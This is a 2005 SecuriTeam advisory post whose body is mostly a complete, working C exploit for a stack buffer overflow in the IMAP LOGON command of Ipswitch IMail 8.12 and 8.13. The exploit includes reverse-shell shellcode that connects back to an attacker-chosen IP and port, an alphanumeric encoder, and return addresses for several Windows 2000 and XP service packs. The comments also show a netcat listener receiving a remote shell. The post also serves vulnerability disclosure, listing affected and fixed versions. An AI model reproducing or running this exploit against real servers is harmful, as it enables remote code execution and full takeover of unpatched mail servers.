[EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/12/05

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      Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    Ipswitch Collaboration Suite (ICS) provides "e-mail and real-time
    collaboration, calendar and contact list sharing, and protection from SPAM
    and viruses, all delivered in an easy to use package designed with the
    unique needs of small and medium sized businesses in mind".

    Ipswitch IMail was found vulnerable for multiple buffer overflow
    vulnerabilities that allow attackers to remotely execute arbitrary code on
    the server. The following exploit code will try to use the LOGON command
    buffer overflow to try and cause the Ipswitch IMail daemon to execute
    arbitrary code.

    DETAILS

    Vulnerable Systems:
     * Ipswitch IMail version 8.13
     * Ipswitch IMail version 8.12

    Immune Systems:
     * Ipswitch IMail Server 8.2 Hotfix 2

    Exploit:
    /*
    IpSwitch IMAP Server LOGON stack overflow.
    Software Hole discovered by iDEFENSE
    POC written by nolimit and BuzzDee

    First, some information for the few of you that know how this stuff works.
    The reason you see no SP2 or 2003 offsets is because of Windows SEH
    checks.
    Thats right, in this one situation, They've stopped hackers from
    exploiting the machine.
    At least with as much research as I care to do. The problem lies in the
    fact that only alpha numeric memory addresses can be used in this exploit.
    So what lies within the few regions of memory that is alpha numeric safe?
    Only system
    DLLs.(Well also a 7000 byte TEB block section, which doesn't really
    produce much either).
    So any SEH address overwritten that points to a system DLL will fail past
    Windows XP SP2.
    From what I've read and the few tricks I've tried, Theirs no way currently
    to get around the
    protection In my situation.

    For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This
    is because
    of two reasons, While I've developed along with skylined an alpha numeric
    shellcode
    to handle the stack protections in Windows XP/2K3, I don't think he's
    ready to release
    it yet.So, when It does come around, you can use that and re-adjust the
    stack accordingly
    for proper exploitation of SP1.

    The size we have on the stack is too small for a bindshell, but big enough
    for a reverse shell!
    So I use ALPHA2's decoder and encoder (modified) to write info to reverse
    shell, then encode it.
    visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php
    for more information.

    Now, for the "impact assessment".
    Because this doesn't work on SP2 / 2003, the 53 million users that use
    Imail should
    mostly be safe from complete ownage. But, Do not let this fact let you not
    patch your
    server! This exploit, sent with any offset, will still crash your IMAP
    server!
    With that said, Thier is still a small amount of servers online that run
    one of these
    targetted offsets, and therefore can be exploited. I hope this Proof Of
    Concept is the
    push administrators need to patch their software.

    For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.

      C:\HACKING\tools>nc -vv -l -p 3333
     listening on [any] 3333 ...
     DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
     connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
     Microsoft Windows 2000 [Version 5.00.2195]
     (C) Copyright 1985-2000 Microsoft Corp.
     
     C:\WINNT\system32>_

    Questions? Comments?
      nolimit@coreiso.org
      
    */
    #include <stdio.h>
    #include <string.h>
    #include <winsock.h>
    #pragma comment(lib,"ws2_32")

    void cmdshell (int sock);
    long gimmeip(char *hostname);
    char buffer[2500];

    //special stuff
    char* alphaEncodeShellcode(char *shellcode, int size);
    // un-crypted shellcode that we'll fill our retn values, then encode.
    char unEncShellcode[]=
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
    //160 above, ip next 4 bytes then, pass 2 theres port
    "\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
    "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
    "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
    "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
    "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
    "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
    "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
    "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";

    //modified encoded alpha num SUB ECX, 2E8 JMP ECX
    char jmpBack[]=
    "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PP"
    "TUPPa301089IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8A"
    "BuJIoqYyKHTB30WpyoKQAPA";
    int paddingSize; // change when changing shellcode. 676 bytes -
    shellcodesize = this.
    char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
    char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
    char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
    char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
    char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
    char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot
    so JMP EBX is ok

    int main(int argc,char *argv[])
    {
      WSADATA wsaData;
      struct sockaddr_in targetTCP;
      int sockTCP;
      unsigned short port = 143;
      long ip;
      if(argc < 5)
      {
       printf("IpSwitch IMAP server Remote Stack Overflow.\n"
        "This exploit uses a reverse shell payload.\n"
        "Usage: %s [retnaddr] [retport] [target] [address]
    <port_to_exploit>\n"
        " eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
        "Targets:\n"
        "1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
        "4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
        "Read comments in source code for more info.\n"
        "Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]);
       return 1;
      }
      if(argc==6)
       port = atoi(argv[5]);
             WSAStartup(0x0202, &wsaData);
      printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port);
      ip=gimmeip(argv[4]);
             targetTCP.sin_family = AF_INET;
             targetTCP.sin_addr.s_addr = ip;
             targetTCP.sin_port = htons(port);
      //set ip/port specified. Probably could have done this easier, but
    whatever.
      unsigned long revIp = gimmeip(argv[1]);
      unsigned long *revPtr = (unsigned long *)&unEncShellcode;
      revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160
    bytes away.
      *revPtr = revIp;
      char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
      int rPort = atoi(argv[2]);
      char *revPortPtr = (char *)&rPort;
      memcpy(portPtr,revPortPtr+1,1);
      memcpy(portPtr+1,revPortPtr,1);
      //done formatting, now lets encode it.
      char *shellcode =
    alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
      paddingSize = 676 - strlen(shellcode);
      //form buffer here.
      memset(buffer,'\x00',2500);
      strcpy(buffer,"A001 LOGIN user@");
      memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
      strcat(buffer,shellcode);
      strcat(buffer,"r!s!"); //jmp over SE handler
      switch(atoi(argv[3]))
      {
       case 1:
       printf("[*] Targetting Windows XP SP 0..\n");
       strcat(buffer,jmpXPSP0);
       break;
       case 2:
       printf("[*] Targetting Windows 2000 SP4..\n");
       strcat(buffer,jmp2KSP4);
       break;
       case 3:
       printf("[*] Targetting Windows 2000 SP3..\n");
       strcat(buffer,jmp2KSP3);
       break;
       case 4:
       printf("[*] Targetting Windows 2000 SP2..\n");
       strcat(buffer,jmp2KSP2);
       break;
       case 5:
       printf("[*] Targetting Windows 2000 SP1..\n");
       strcat(buffer,jmp2KSP1);
       break;
       case 6:
       printf("[*] Targetting Windows 2000 SP0..\n");
       strcat(buffer,jmp2KSP0);
       break;
       default:
       printf("Target error.\n");
       return 1;
       break;
      }
      memset(buffer+strlen(buffer),'\x41',29);
      strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
      memset(buffer+strlen(buffer),'\x41',1323);
      strcat(buffer," nolimits\r\n");
      //buffer formed
      if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("[x] Socket not initialized! Exiting...\n");
        WSACleanup();
                    return 1;
      }
      printf("[*] Socket initialized...\n");
      if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) !=
    0)
      {
       printf("[*] Connection to host failed! Exiting...\n");
       WSACleanup();
       exit(1);
      }
      printf("[*] Sending buffer.\n");
      Sleep(1000);
      if (send(sockTCP, buffer, strlen(buffer),0) == -1)
      {
        printf("[x] Failed to inject packet! Exiting...\n");
        WSACleanup();
                    return 1;
      }
      Sleep(1000);
      closesocket(sockTCP);
      WSACleanup();
      printf("Exploit sent. Reverse Shell should be comming if everyhing
    worked.\n");
      return 0;
    }

    /*****************************************/
    long gimmeip(char *hostname)
    {
     struct hostent *he;
     long ipaddr;
     
     if ((ipaddr = inet_addr(hostname)) < 0)
     {
      if ((he = gethostbyname(hostname)) == NULL)
      {
       printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
       WSACleanup();
       exit(1);
      }
      memcpy(&ipaddr, he->h_addr, he->h_length);
     }
     return ipaddr;
    }
    /*****************************************/

    //Below here, all code is modified code from ALPHA 2: Zero-tolerance by
    Berend-Jan Wever.
    // aka Skylined <skylined@edup.tudelft.nl>. Hats off to him.

    //ecx ascii decoder.
    #define ecx_mixedcase_ascii_decoder
    "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
    // shellcode ptr & size
    char* alphaEncodeShellcode(char *shellcode, int size)
    {
     int i, input, A, B, C, D, E, F;
     char* valid_chars =
    "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
     //first, create a big enough shellcode memory section
     char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder)
    + (size * 2)));
     strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
     char buff[4];
     int z=0;
     for(;z < size;z++)
     {
       // encoding AB -> CD 00 EF 00
      A = (shellcode[z] & 0xf0) >> 4;
      B = (shellcode[z] & 0x0f);

      F = B;
      // E is arbitrary as long as EF is a valid character
      i = rand() % strlen(valid_chars);
      while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
      E = valid_chars[i] >> 4;
      // normal code uses xor, unicode-proof uses ADD.
      // AB ->
      D = 0 ? (A-E) & 0x0f : (A^E);
      // C is arbitrary as long as CD is a valid character
      i = rand() % strlen(valid_chars);
      while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
      C = valid_chars[i] >> 4;
      //edit, use curChar ptr to strncpy it.
      //printf("%c%c", (C<<4)+D, (E<<4)+F);
      sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
      strcat(encShellcode,buff);
     }
     return encShellcode;
    }

    /* EOF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nolimit@coreiso.org>
    nolimit.
    The advisory can be found at:
    <http://www.securiteam.com/windowsntfocus/5LP0Q1FFPG.html>
    http://www.securiteam.com/windowsntfocus/5LP0Q1FFPG.html

    ========================================

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